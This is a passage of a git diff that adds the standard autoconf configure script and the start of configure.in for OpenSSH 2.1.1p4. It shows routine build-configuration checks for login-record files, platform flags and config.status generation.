systems has expire shadow information" >&5 + cat > conftest.$ac_ext < +#include + struct spwd sp; + +int main() { + sp.sp_expire = sp.sp_lstchg = sp.sp_inact = 0; +; return 0; } +EOF +if { (eval echo configure:5732: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + sp_expire_available=yes +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + + +fi +rm -f conftest* + + if test "x$sp_expire_available" = "xyes" ; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define HAS_SHADOW_EXPIRE 1 +EOF + + else + echo "$ac_t""no" 1>&6 + fi +fi + +# Use ip address instead of hostname in $DISPLAY +DISPLAY_HACK_MSG="no" +# Check whether --with-ipaddr-display or --without-ipaddr-display was given. +if test "${with_ipaddr_display+set}" = set; then + withval="$with_ipaddr_display" + + if test "x$withval" = "xno" ; then + cat >> confdefs.h <<\EOF +#define IPADDR_IN_DISPLAY 1 +EOF + + DISPLAY_HACK_MSG="yes" + fi + + +fi + + +# Whether to mess with the default path +SERVER_PATH_MSG="(default)" +# Check whether --with-default-path or --without-default-path was given. +if test "${with_default_path+set}" = set; then + withval="$with_default_path" + + if test "x$withval" != "xno" ; then + cat >> confdefs.h <> confdefs.h <<\EOF +#define IPV4_DEFAULT 1 +EOF + + IPV4_HACK_MSG="yes" + fi + + +fi + + +echo $ac_n "checking if we need to convert IPv4 in IPv6-mapped addresses""... $ac_c" 1>&6 +echo "configure:5810: checking if we need to convert IPv4 in IPv6-mapped addresses" >&5 +IPV4_IN6_HACK_MSG="no" +# Check whether --with-4in6 or --without-4in6 was given. +if test "${with_4in6+set}" = set; then + withval="$with_4in6" + + if test "x$withval" != "xno" ; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define IPV4_IN_IPV6 1 +EOF + + IPV4_IN6_HACK_MSG="yes" + else + echo "$ac_t""no" 1>&6 + fi + +else + + if test "x$inet6_default_4in6" = "xyes"; then + echo "$ac_t""yes (default)" 1>&6 + cat >> confdefs.h <<\EOF +#define IPV4_IN_IPV6 1 +EOF + + IPV4_IN6_HACK_MSG="yes" + else + echo "$ac_t""no (default)" 1>&6 + fi + + +fi + + +# Where to place sshd.pid +piddir=/var/run +# Check whether --with-pid-dir or --without-pid-dir was given. +if test "${with_pid_dir+set}" = set; then + withval="$with_pid_dir" + + if test "x$withval" != "xno" ; then + piddir=$withval + fi + + +fi + + +cat >> confdefs.h <> confdefs.h <<\EOF +#define DISABLE_LASTLOG 1 +EOF + + +fi + +# Check whether --enable-utmp or --disable-utmp was given. +if test "${enable_utmp+set}" = set; then + enableval="$enable_utmp" + cat >> confdefs.h <<\EOF +#define DISABLE_UTMP 1 +EOF + + +fi + +# Check whether --enable-utmpx or --disable-utmpx was given. +if test "${enable_utmpx+set}" = set; then + enableval="$enable_utmpx" + cat >> confdefs.h <<\EOF +#define DISABLE_UTMPX 1 +EOF + + +fi + +# Check whether --enable-wtmp or --disable-wtmp was given. +if test "${enable_wtmp+set}" = set; then + enableval="$enable_wtmp" + cat >> confdefs.h <<\EOF +#define DISABLE_WTMP 1 +EOF + + +fi + +# Check whether --enable-wtmpx or --disable-wtmpx was given. +if test "${enable_wtmpx+set}" = set; then + enableval="$enable_wtmpx" + cat >> confdefs.h <<\EOF +#define DISABLE_WTMPX 1 +EOF + + +fi + +# Check whether --enable-libutil or --disable-libutil was given. +if test "${enable_libutil+set}" = set; then + enableval="$enable_libutil" + cat >> confdefs.h <<\EOF +#define DISABLE_LOGIN 1 +EOF + + +fi + +# Check whether --enable-pututline or --disable-pututline was given. +if test "${enable_pututline+set}" = set; then + enableval="$enable_pututline" + cat >> confdefs.h <<\EOF +#define DISABLE_PUTUTLINE 1 +EOF + + +fi + +# Check whether --enable-pututxline or --disable-pututxline was given. +if test "${enable_pututxline+set}" = set; then + enableval="$enable_pututxline" + cat >> confdefs.h <<\EOF +#define DISABLE_PUTUTXLINE 1 +EOF + + +fi + +# Check whether --with-lastlog or --without-lastlog was given. +if test "${with_lastlog+set}" = set; then + withval="$with_lastlog" + conf_lastlog_location="$withval"; +fi + + + +echo $ac_n "checking if your system defines LASTLOG_FILE""... $ac_c" 1>&6 +echo "configure:5953: checking if your system defines LASTLOG_FILE" >&5 +cat > conftest.$ac_ext < +#include +#ifdef HAVE_LASTLOG_H +# include +#endif +#ifdef HAVE_PATHS_H +# include +#endif + +int main() { + char *lastlog = LASTLOG_FILE; +; return 0; } +EOF +if { (eval echo configure:5971: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + echo "$ac_t""yes" 1>&6 +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + + echo "$ac_t""no" 1>&6 + echo $ac_n "checking if your system defines _PATH_LASTLOG""... $ac_c" 1>&6 +echo "configure:5981: checking if your system defines _PATH_LASTLOG" >&5 + cat > conftest.$ac_ext < +#include +#ifdef HAVE_LASTLOG_H +# include +#endif +#ifdef HAVE_PATHS_H +# include +#endif + +int main() { + char *lastlog = _PATH_LASTLOG; +; return 0; } +EOF +if { (eval echo configure:5999: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + echo "$ac_t""yes" 1>&6 +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + + echo "$ac_t""no" 1>&6 + system_lastlog_path=no + +fi +rm -f conftest* + + +fi +rm -f conftest* + +if test -z "$conf_lastlog_location"; then + if test x"$system_lastlog_path" = x"no" ; then + for f in /var/log/lastlog /usr/adm/lastlog /var/adm/lastlog /etc/security/lastlog ; do + if (test -d "$f" || test -f "$f") ; then + conf_lastlog_location=$f + fi + done + if test -z "$conf_lastlog_location"; then + echo "configure: warning: ** Cannot find lastlog **" 1>&2 + fi + fi +fi + +if test -n "$conf_lastlog_location"; then + cat >> confdefs.h <&6 +echo "configure:6038: checking if your system defines UTMP_FILE" >&5 +cat > conftest.$ac_ext < +#include +#ifdef HAVE_PATHS_H +# include +#endif + +int main() { + char *utmp = UTMP_FILE; +; return 0; } +EOF +if { (eval echo configure:6053: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + echo "$ac_t""yes" 1>&6 +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + echo "$ac_t""no" 1>&6 + system_utmp_path=no + +fi +rm -f conftest* +if test -z "$conf_utmp_location"; then + if test x"$system_utmp_path" = x"no" ; then + for f in /etc/utmp /usr/adm/utmp /var/run/utmp; do + if test -f $f ; then + conf_utmp_location=$f + fi + done + if test -z "$conf_utmp_location"; then + cat >> confdefs.h <<\EOF +#define DISABLE_UTMP 1 +EOF + + fi + fi +fi +if test -n "$conf_utmp_location"; then + cat >> confdefs.h <&6 +echo "configure:6088: checking if your system defines WTMP_FILE" >&5 +cat > conftest.$ac_ext < +#include +#ifdef HAVE_PATHS_H +# include +#endif + +int main() { + char *wtmp = WTMP_FILE; +; return 0; } +EOF +if { (eval echo configure:6103: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + echo "$ac_t""yes" 1>&6 +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + echo "$ac_t""no" 1>&6 + system_wtmp_path=no + +fi +rm -f conftest* +if test -z "$conf_wtmp_location"; then + if test x"$system_wtmp_path" = x"no" ; then + for f in /usr/adm/wtmp /var/log/wtmp; do + if test -f $f ; then + conf_wtmp_location=$f + fi + done + if test -z "$conf_wtmp_location"; then + cat >> confdefs.h <<\EOF +#define DISABLE_WTMP 1 +EOF + + fi + fi +fi +if test -n "$conf_wtmp_location"; then + cat >> confdefs.h <&6 +echo "configure:6139: checking if your system defines UTMPX_FILE" >&5 +cat > conftest.$ac_ext < +#include +#ifdef HAVE_UTMPX_H +#include +#endif +#ifdef HAVE_PATHS_H +# include +#endif + +int main() { + char *utmpx = UTMPX_FILE; +; return 0; } +EOF +if { (eval echo configure:6157: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + echo "$ac_t""yes" 1>&6 +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + echo "$ac_t""no" 1>&6 + system_utmpx_path=no + +fi +rm -f conftest* +if test -z "$conf_utmpx_location"; then + if test x"$system_utmpx_path" = x"no" ; then + cat >> confdefs.h <<\EOF +#define DISABLE_UTMPX 1 +EOF + + fi +else + cat >> confdefs.h <&6 +echo "configure:6184: checking if your system defines WTMPX_FILE" >&5 +cat > conftest.$ac_ext < +#include +#ifdef HAVE_UTMPX_H +#include +#endif +#ifdef HAVE_PATHS_H +# include +#endif + +int main() { + char *wtmpx = WTMPX_FILE; +; return 0; } +EOF +if { (eval echo configure:6202: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + echo "$ac_t""yes" 1>&6 +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + echo "$ac_t""no" 1>&6 + system_wtmpx_path=no + +fi +rm -f conftest* +if test -z "$conf_wtmpx_location"; then + if test x"$system_wtmpx_path" = x"no" ; then + cat >> confdefs.h <<\EOF +#define DISABLE_WTMPX 1 +EOF + + fi +else + cat >> confdefs.h <> confdefs.h <&2 +fi + +trap '' 1 2 15 +cat > confcache <<\EOF +# This file is a shell script that caches the results of configure +# tests run on this system so they can be shared between configure +# scripts and configure runs. It is not useful on other systems. +# If it contains results you don't want to keep, you may remove or edit it. +# +# By default, configure uses ./config.cache as the cache file, +# creating it if it does not exist already. You can give configure +# the --cache-file=FILE option to use a different cache file; that is +# what configure does when it calls configure scripts in +# subdirectories, so they share the cache. +# Giving --cache-file=/dev/null disables caching, for debugging configure. +# config.status only pays attention to the cache file if you give it the +# --recheck option to rerun configure. +# +EOF +# The following way of writing the cache mishandles newlines in values, +# but we know of no workaround that is simple, portable, and efficient. +# So, don't put newlines in cache variables' values. +# Ultrix sh set writes to stderr and can't be redirected directly, +# and sets the high bit in the cache file unless we assign to the vars. +(set) 2>&1 | + case `(ac_space=' '; set | grep ac_space) 2>&1` in + *ac_space=\ *) + # `set' does not quote correctly, so add quotes (double-quote substitution + # turns \\\\ into \\, and sed turns \\ into \). + sed -n \ + -e "s/'/'\\\\''/g" \ + -e "s/^\\([a-zA-Z0-9_]*_cv_[a-zA-Z0-9_]*\\)=\\(.*\\)/\\1=\${\\1='\\2'}/p" + ;; + *) + # `set' quotes correctly as required by POSIX, so do not add quotes. + sed -n -e 's/^\([a-zA-Z0-9_]*_cv_[a-zA-Z0-9_]*\)=\(.*\)/\1=${\1=\2}/p' + ;; + esac >> confcache +if cmp -s $cache_file confcache; then + : +else + if test -w $cache_file; then + echo "updating cache $cache_file" + cat confcache > $cache_file + else + echo "not updating unwritable cache $cache_file" + fi +fi +rm -f confcache + +trap 'rm -fr conftest* confdefs* core core.* *.core $ac_clean_files; exit 1' 1 2 15 + +test "x$prefix" = xNONE && prefix=$ac_default_prefix +# Let make expand exec_prefix. +test "x$exec_prefix" = xNONE && exec_prefix='${prefix}' + +# Any assignment to VPATH causes Sun make to only execute +# the first set of double-colon rules, so remove it if not needed. +# If there is a colon in the path, we need to keep it. +if test "x$srcdir" = x.; then + ac_vpsub='/^[ ]*VPATH[ ]*=[^:]*$/d' +fi + +trap 'rm -f $CONFIG_STATUS conftest*; exit 1' 1 2 15 + +DEFS=-DHAVE_CONFIG_H + +# Without the "./", some shells look in PATH for config.status. +: ${CONFIG_STATUS=./config.status} + +echo creating $CONFIG_STATUS +rm -f $CONFIG_STATUS +cat > $CONFIG_STATUS </dev/null | sed 1q`: +# +# $0 $ac_configure_args +# +# Compiler output produced by configure, useful for debugging +# configure, is in ./config.log if it exists. + +ac_cs_usage="Usage: $CONFIG_STATUS [--recheck] [--version] [--help]" +for ac_option +do + case "\$ac_option" in + -recheck | --recheck | --rechec | --reche | --rech | --rec | --re | --r) + echo "running \${CONFIG_SHELL-/bin/sh} $0 $ac_configure_args --no-create --no-recursion" + exec \${CONFIG_SHELL-/bin/sh} $0 $ac_configure_args --no-create --no-recursion ;; + -version | --version | --versio | --versi | --vers | --ver | --ve | --v) + echo "$CONFIG_STATUS generated by autoconf version 2.13" + exit 0 ;; + -help | --help | --hel | --he | --h) + echo "\$ac_cs_usage"; exit 0 ;; + *) echo "\$ac_cs_usage"; exit 1 ;; + esac +done + +ac_given_srcdir=$srcdir +ac_given_INSTALL="$INSTALL" + +trap 'rm -fr `echo "Makefile ssh_prng_cmds config.h" | sed "s/:[^ ]*//g"` conftest*; exit 1' 1 2 15 +EOF +cat >> $CONFIG_STATUS < conftest.subs <<\\CEOF +$ac_vpsub +$extrasub +s%@SHELL@%$SHELL%g +s%@CFLAGS@%$CFLAGS%g +s%@CPPFLAGS@%$CPPFLAGS%g +s%@CXXFLAGS@%$CXXFLAGS%g +s%@FFLAGS@%$FFLAGS%g +s%@DEFS@%$DEFS%g +s%@LDFLAGS@%$LDFLAGS%g +s%@LIBS@%$LIBS%g +s%@exec_prefix@%$exec_prefix%g +s%@prefix@%$prefix%g +s%@program_transform_name@%$program_transform_name%g +s%@bindir@%$bindir%g +s%@sbindir@%$sbindir%g +s%@libexecdir@%$libexecdir%g +s%@datadir@%$datadir%g +s%@sysconfdir@%$sysconfdir%g +s%@sharedstatedir@%$sharedstatedir%g +s%@localstatedir@%$localstatedir%g +s%@libdir@%$libdir%g +s%@includedir@%$includedir%g +s%@oldincludedir@%$oldincludedir%g +s%@infodir@%$infodir%g +s%@mandir@%$mandir%g +s%@CC@%$CC%g +s%@host@%$host%g +s%@host_alias@%$host_alias%g +s%@host_cpu@%$host_cpu%g +s%@host_vendor@%$host_vendor%g +s%@host_os@%$host_os%g +s%@CPP@%$CPP%g +s%@RANLIB@%$RANLIB%g +s%@INSTALL_PROGRAM@%$INSTALL_PROGRAM%g +s%@INSTALL_SCRIPT@%$INSTALL_SCRIPT%g +s%@INSTALL_DATA@%$INSTALL_DATA%g +s%@AR@%$AR%g +s%@PERL@%$PERL%g +s%@ENT@%$ENT%g +s%@LD@%$LD%g +s%@rsh_path@%$rsh_path%g +s%@xauth_path@%$xauth_path%g +s%@RANDOM_POOL@%$RANDOM_POOL%g +s%@PROG_LS@%$PROG_LS%g +s%@PROG_NETSTAT@%$PROG_NETSTAT%g +s%@PROG_ARP@%$PROG_ARP%g +s%@PROG_IFCONFIG@%$PROG_IFCONFIG%g +s%@PROG_PS@%$PROG_PS%g +s%@PROG_W@%$PROG_W%g +s%@PROG_WHO@%$PROG_WHO%g +s%@PROG_LAST@%$PROG_LAST%g +s%@PROG_LASTLOG@%$PROG_LASTLOG%g +s%@PROG_DF@%$PROG_DF%g +s%@PROG_VMSTAT@%$PROG_VMSTAT%g +s%@PROG_UPTIME@%$PROG_UPTIME%g +s%@PROG_IPCS@%$PROG_IPCS%g +s%@PROG_TAIL@%$PROG_TAIL%g +s%@INSTALL_SSH_PRNG_CMDS@%$INSTALL_SSH_PRNG_CMDS%g +s%@MANTYPE@%$MANTYPE%g +s%@mansubdir@%$mansubdir%g +s%@piddir@%$piddir%g + +CEOF +EOF + +cat >> $CONFIG_STATUS <<\EOF + +# Split the substitutions into bite-sized pieces for seds with +# small command number limits, like on Digital OSF/1 and HP-UX. +ac_max_sed_cmds=90 # Maximum number of lines to put in a sed script. +ac_file=1 # Number of current file. +ac_beg=1 # First line for current file. +ac_end=$ac_max_sed_cmds # Line after last line for current file. +ac_more_lines=: +ac_sed_cmds="" +while $ac_more_lines; do + if test $ac_beg -gt 1; then + sed "1,${ac_beg}d; ${ac_end}q" conftest.subs > conftest.s$ac_file + else + sed "${ac_end}q" conftest.subs > conftest.s$ac_file + fi + if test ! -s conftest.s$ac_file; then + ac_more_lines=false + rm -f conftest.s$ac_file + else + if test -z "$ac_sed_cmds"; then + ac_sed_cmds="sed -f conftest.s$ac_file" + else + ac_sed_cmds="$ac_sed_cmds | sed -f conftest.s$ac_file" + fi + ac_file=`expr $ac_file + 1` + ac_beg=$ac_end + ac_end=`expr $ac_end + $ac_max_sed_cmds` + fi +done +if test -z "$ac_sed_cmds"; then + ac_sed_cmds=cat +fi +EOF + +cat >> $CONFIG_STATUS <> $CONFIG_STATUS <<\EOF +for ac_file in .. $CONFIG_FILES; do if test "x$ac_file" != x..; then + # Support "outfile[:infile[:infile...]]", defaulting infile="outfile.in". + case "$ac_file" in + *:*) ac_file_in=`echo "$ac_file"|sed 's%[^:]*:%%'` + ac_file=`echo "$ac_file"|sed 's%:.*%%'` ;; + *) ac_file_in="${ac_file}.in" ;; + esac + + # Adjust a relative srcdir, top_srcdir, and INSTALL for subdirectories. + + # Remove last slash and all that follows it. Not all systems have dirname. + ac_dir=`echo $ac_file|sed 's%/[^/][^/]*$%%'` + if test "$ac_dir" != "$ac_file" && test "$ac_dir" != .; then + # The file is in a subdirectory. + test ! -d "$ac_dir" && mkdir "$ac_dir" + ac_dir_suffix="/`echo $ac_dir|sed 's%^\./%%'`" + # A "../" for each directory in $ac_dir_suffix. + ac_dots=`echo $ac_dir_suffix|sed 's%/[^/]*%../%g'` + else + ac_dir_suffix= ac_dots= + fi + + case "$ac_given_srcdir" in + .) srcdir=. + if test -z "$ac_dots"; then top_srcdir=. + else top_srcdir=`echo $ac_dots|sed 's%/$%%'`; fi ;; + /*) srcdir="$ac_given_srcdir$ac_dir_suffix"; top_srcdir="$ac_given_srcdir" ;; + *) # Relative path. + srcdir="$ac_dots$ac_given_srcdir$ac_dir_suffix" + top_srcdir="$ac_dots$ac_given_srcdir" ;; + esac + + case "$ac_given_INSTALL" in + [/$]*) INSTALL="$ac_given_INSTALL" ;; + *) INSTALL="$ac_dots$ac_given_INSTALL" ;; + esac + + echo creating "$ac_file" + rm -f "$ac_file" + configure_input="Generated automatically from `echo $ac_file_in|sed 's%.*/%%'` by configure." + case "$ac_file" in + *Makefile*) ac_comsub="1i\\ +# $configure_input" ;; + *) ac_comsub= ;; + esac + + ac_file_inputs=`echo $ac_file_in|sed -e "s%^%$ac_given_srcdir/%" -e "s%:% $ac_given_srcdir/%g"` + sed -e "$ac_comsub +s%@configure_input@%$configure_input%g +s%@srcdir@%$srcdir%g +s%@top_srcdir@%$top_srcdir%g +s%@INSTALL@%$INSTALL%g +" $ac_file_inputs | (eval "$ac_sed_cmds") > $ac_file +fi; done +rm -f conftest.s* + +# These sed commands are passed to sed as "A NAME B NAME C VALUE D", where +# NAME is the cpp macro being defined and VALUE is the value it is being given. +# +# ac_d sets the value in "#define NAME VALUE" lines. +ac_dA='s%^\([ ]*\)#\([ ]*define[ ][ ]*\)' +ac_dB='\([ ][ ]*\)[^ ]*%\1#\2' +ac_dC='\3' +ac_dD='%g' +# ac_u turns "#undef NAME" with trailing blanks into "#define NAME VALUE". +ac_uA='s%^\([ ]*\)#\([ ]*\)undef\([ ][ ]*\)' +ac_uB='\([ ]\)%\1#\2define\3' +ac_uC=' ' +ac_uD='\4%g' +# ac_e turns "#undef NAME" without trailing blanks into "#define NAME VALUE". +ac_eA='s%^\([ ]*\)#\([ ]*\)undef\([ ][ ]*\)' +ac_eB='$%\1#\2define\3' +ac_eC=' ' +ac_eD='%g' + +if test "${CONFIG_HEADERS+set}" != set; then +EOF +cat >> $CONFIG_STATUS <> $CONFIG_STATUS <<\EOF +fi +for ac_file in .. $CONFIG_HEADERS; do if test "x$ac_file" != x..; then + # Support "outfile[:infile[:infile...]]", defaulting infile="outfile.in". + case "$ac_file" in + *:*) ac_file_in=`echo "$ac_file"|sed 's%[^:]*:%%'` + ac_file=`echo "$ac_file"|sed 's%:.*%%'` ;; + *) ac_file_in="${ac_file}.in" ;; + esac + + echo creating $ac_file + + rm -f conftest.frag conftest.in conftest.out + ac_file_inputs=`echo $ac_file_in|sed -e "s%^%$ac_given_srcdir/%" -e "s%:% $ac_given_srcdir/%g"` + cat $ac_file_inputs > conftest.in + +EOF + +# Transform confdefs.h into a sed script conftest.vals that substitutes +# the proper values into config.h.in to produce config.h. And first: +# Protect against being on the right side of a sed subst in config.status. +# Protect against being in an unquoted here document in config.status. +rm -f conftest.vals +cat > conftest.hdr <<\EOF +s/[\\&%]/\\&/g +s%[\\$`]%\\&%g +s%#define \([A-Za-z_][A-Za-z0-9_]*\) *\(.*\)%${ac_dA}\1${ac_dB}\1${ac_dC}\2${ac_dD}%gp +s%ac_d%ac_u%gp +s%ac_u%ac_e%gp +EOF +sed -n -f conftest.hdr confdefs.h > conftest.vals +rm -f conftest.hdr + +# This sed command replaces #undef with comments. This is necessary, for +# example, in the case of _POSIX_SOURCE, which is predefined and required +# on some systems where configure will not decide to define it. +cat >> conftest.vals <<\EOF +s%^[ ]*#[ ]*undef[ ][ ]*[a-zA-Z_][a-zA-Z_0-9]*%/* & */% +EOF + +# Break up conftest.vals because some shells have a limit on +# the size of here documents, and old seds have small limits too. + +rm -f conftest.tail +while : +do + ac_lines=`grep -c . conftest.vals` + # grep -c gives empty output for an empty file on some AIX systems. + if test -z "$ac_lines" || test "$ac_lines" -eq 0; then break; fi + # Write a limited-size here document to conftest.frag. + echo ' cat > conftest.frag <> $CONFIG_STATUS + sed ${ac_max_here_lines}q conftest.vals >> $CONFIG_STATUS + echo 'CEOF + sed -f conftest.frag conftest.in > conftest.out + rm -f conftest.in + mv conftest.out conftest.in +' >> $CONFIG_STATUS + sed 1,${ac_max_here_lines}d conftest.vals > conftest.tail + rm -f conftest.vals + mv conftest.tail conftest.vals +done +rm -f conftest.vals + +cat >> $CONFIG_STATUS <<\EOF + rm -f conftest.frag conftest.h + echo "/* $ac_file. Generated automatically by configure. */" > conftest.h + cat conftest.in >> conftest.h + rm -f conftest.in + if cmp -s $ac_file conftest.h 2>/dev/null; then + echo "$ac_file is unchanged" + rm -f conftest.h + else + # Remove last slash and all that follows it. Not all systems have dirname. + ac_dir=`echo $ac_file|sed 's%/[^/][^/]*$%%'` + if test "$ac_dir" != "$ac_file" && test "$ac_dir" != .; then + # The file is in a subdirectory. + test ! -d "$ac_dir" && mkdir "$ac_dir" + fi + rm -f $ac_file + mv conftest.h $ac_file + fi +fi; done + +EOF +cat >> $CONFIG_STATUS <> $CONFIG_STATUS <<\EOF + +exit 0 +EOF +chmod +x $CONFIG_STATUS +rm -fr confdefs* $ac_clean_files +test "$no_create" = yes || ${CONFIG_SHELL-/bin/sh} $CONFIG_STATUS || exit 1 + + +# Print summary of options + +if test x$MANTYPE = x'$(CATMAN)' ; then + MAN_MSG=cat +else + MAN_MSG=man +fi +if test ! -z "$RANDOM_POOL" ; then + RAND_MSG="Device ($RANDOM_POOL)" +else + if test ! -z "$EGD_SOCKET" ; then + RAND_MSG="EGD ($EGD_SOCKET)" + else + RAND_MSG="Builtin (timeout $entropy_timeout)" + fi +fi + +# Someone please show me a better way :) +A=`eval echo ${prefix}` ; A=`eval echo ${A}` +B=`eval echo ${bindir}` ; B=`eval echo ${B}` +C=`eval echo ${sbindir}` ; C=`eval echo ${C}` +D=`eval echo ${sysconfdir}` ; D=`eval echo ${D}` +E=`eval echo ${libexecdir}/ssh/ssh-askpass` ; E=`eval echo ${E}` +F=`eval echo ${mandir}/${mansubdir}X` ; F=`eval echo ${F}` +G=`eval echo ${piddir}` ; G=`eval echo ${G}` + +echo "" +echo "OpenSSH configured has been configured with the following options." +echo " User binaries: $B" +echo " System binaries: $C" +echo " Configuration files: $D" +echo " Askpass program: $E" +echo " Manual pages: $F" +echo " PID file: $G" +echo " Random number collection: $RAND_MSG" +echo " Manpage format: $MAN_MSG" +echo " PAM support: ${PAM_MSG}" +echo " KerberosIV support: $KRB4_MSG" +echo " AFS support: $AFS_MSG" +echo " S/KEY support: $SKEY_MSG" +echo " TCP Wrappers support: $TCPW_MSG" +echo " MD5 password support: $MD5_MSG" +echo " IP address in \$DISPLAY hack: $DISPLAY_HACK_MSG" +echo " Use IPv4 by default hack: $IPV4_HACK_MSG" +echo " Translate v4 in v6 hack: $IPV4_IN6_HACK_MSG" + +echo "" + +echo "Compiler flags: ${CFLAGS}" +echo "Linker flags: ${LDFLAGS}" +echo "Libraries: ${LIBS}" + +echo "" + diff --git a/other/openssh-2.1.1p4/configure.in b/other/openssh-2.1.1p4/configure.in new file mode 100644 index 0000000..9265985 --- /dev/null +++ b/other/openssh-2.1.1p4/configure.in @@ -0,0 +1,1381 @@ +AC_INIT(ssh.c) + +AC_CONFIG_HEADER(config.h) +AC_PROG_CC +AC_CANONICAL_HOST + +# Checks for programs. +AC_PROG_CPP +AC_PROG_RANLIB +AC_PROG_INSTALL +AC_CHECK_PROG(AR, ar, ar) +AC_PATH_PROG(PERL, perl) +AC_SUBST(PERL) +AC_PATH_PROG(ENT, ent) +AC_SUBST(ENT) + +if test -z "$LD" ; then + LD=$CC +fi +AC_SUBST(LD) + +# C Compiler features +AC_C_INLINE +if test "$GCC" = "yes"; then + CFLAGS="$CFLAGS -Wall" +fi + +# Check for some target-specific stuff +case "$host" in +*-*-aix*) + AFS_LIBS="-lld" + CFLAGS="$CFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib" + if (test "$LD" != "gcc" && test -z "$blibpath"); then + blibpath="/usr/lib:/lib:/usr/local/lib" + fi + AC_CHECK_FUNC(authenticate, [AC_DEFINE(WITH_AIXAUTHENTICATE)]) + AC_DEFINE(BROKEN_GETADDRINFO) + MANTYPE='$(CATMAN)' + mansubdir=cat + dnl AIX handles lastlog as part of its login message + AC_DEFINE(DISABLE_LASTLOG) + MANTYPE='$(CATMAN)' + mansubdir=cat + ;; +*-*-hpux10*) + if test -z "$GCC"; then + CFLAGS="$CFLAGS -Ae" + fi + CFLAGS="$CFLAGS -D_HPUX_SOURCE" + AC_DEFINE(IPADDR_IN_DISPLAY) + AC_MSG_CHECKING(for HPUX trusted system password database) + if test -f /tcb/files/auth/system/default; then + AC_MSG_RESULT(yes) + AC_DEFINE(HAVE_HPUX_TRUSTED_SYSTEM_PW) + LIBS="$LIBS -lsec" + AC_MSG_WARN([This configuration is untested]) + else + AC_MSG_RESULT(no) + AC_DEFINE(DISABLE_SHADOW) + fi + MANTYPE='$(CATMAN)' + mansubdir=cat + ;; +*-*-hpux11*) + if test -z "$GCC"; then + CFLAGS="$CFLAGS -Ae" + fi + CFLAGS="$CFLAGS -D_HPUX_SOURCE" + AC_DEFINE(IPADDR_IN_DISPLAY) + AC_MSG_CHECKING(for HPUX trusted system password database) + if test -f /tcb/files/auth/system/default; then + AC_MSG_RESULT(yes) + AC_DEFINE(HAVE_HPUX_TRUSTED_SYSTEM_PW) + LIBS="$LIBS -lsec" + AC_MSG_WARN([This configuration is untested]) + else + AC_MSG_RESULT(no) + AC_DEFINE(DISABLE_SHADOW) + fi + MANTYPE='$(CATMAN)' + mansubdir=cat + ;; +*-*-irix5*) + CFLAGS="$CFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS" + MANTYPE='$(CATMAN)' + no_libsocket=1 + no_libnsl=1 + ;; +*-*-irix6*) + CFLAGS="$CFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS" + MANTYPE='$(CATMAN)' + AC_DEFINE(WITH_IRIX_ARRAY) + AC_DEFINE(WITH_IRIX_PROJECT) + AC_DEFINE(WITH_IRIX_AUDIT) + no_libsocket=1 + no_libnsl=1 + ;; +*-*-linux*) + no_dev_ptmx=1 + AC_DEFINE(DONT_TRY_OTHER_AF) + AC_DEFINE(PAM_TTY_KLUDGE) + inet6_default_4in6=yes + ;; +*-*-netbsd*) + need_dash_r=1 + ;; +*-next-*) + # hardwire lastlog location (can't detect it on some versions) + conf_lastlog_location="/usr/adm/lastlog" + conf_utmp_location=/etc/utmp + AC_DEFINE(HAVE_NEXT) + CFLAGS="$CFLAGS -I/usr/local/include" + MAIL=/usr/spool/mail + AC_MSG_WARN([*** Tested: PA-RISC/m68k Untested: Sparc/Intel]) + AC_MSG_WARN([*** Expect 'scp' to fail!]) + AC_MSG_WARN([*** Please report any problems, thanks]) + ;; +*-*-solaris*) + CFLAGS="$CFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib -R/usr/local/lib -L/usr/ucblib -R/usr/ucblib" + need_dash_r=1 + # hardwire lastlog location (can't detect it on some versions) + conf_lastlog_location="/var/adm/lastlog" + AC_MSG_CHECKING(for obsolete utmp and wtmp in solaris2.x) + sol2ver=`echo "$host"| sed -e 's/.*[[0-9]]\.//'` + if test "$sol2ver" -ge 8; then + AC_MSG_RESULT(yes) + AC_DEFINE(DISABLE_UTMP) + AC_DEFINE(DISABLE_WTMP) + else + AC_MSG_RESULT(no) + fi + ;; +*-*-sunos4*) + CFLAGS="$CFLAGS -DSUNOS4" + AC_CHECK_FUNCS(getpwanam) + ;; +*-sni-sysv*) + CFLAGS="$CFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib -L/usr/ucblib" + MANTYPE='$(CATMAN)' + AC_DEFINE(IP_TOS_IS_BROKEN) + mansubdir=cat + LIBS="$LIBS -lgen -lnsl -lucb" + ;; +*-*-sysv*) + CFLAGS="$CFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib" + MANTYPE='$(CATMAN)' + mansubdir=cat + LIBS="$LIBS -lgen -lsocket" + ;; +*-*-sco3*) + CFLAGS="$CFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib" + MANTYPE='$(CATMAN)' + mansubdir=cat + LIBS="$LIBS -lgen -lsocket" + no_dev_ptmx=1 + ;; +*-dec-osf*) +# This is untested + if test ! -z "USE_SIA" ; then + AC_MSG_CHECKING(for 